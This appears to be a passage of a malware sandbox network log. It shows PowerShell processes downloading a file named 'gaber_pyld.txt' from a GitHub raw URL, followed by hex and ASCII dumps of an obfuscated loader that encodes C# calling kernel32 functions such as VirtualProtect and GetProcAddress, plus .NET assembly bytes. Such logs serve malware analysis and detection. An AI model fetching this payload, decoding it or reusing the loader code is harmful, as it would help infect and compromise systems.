2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	51653	185.199.109.133	443	7668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:31 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740052-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507471.891431,VS0,VE71 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 101a2b8c82d93ba936d788c8288a0ea1f2dbc455 Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	51654	185.199.109.133	443	7660	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:31 UTC	900	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740063-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726507471.922372,VS0,VE40 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0ae106c961f89fe3acfc030392d13daed94cfc12 Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
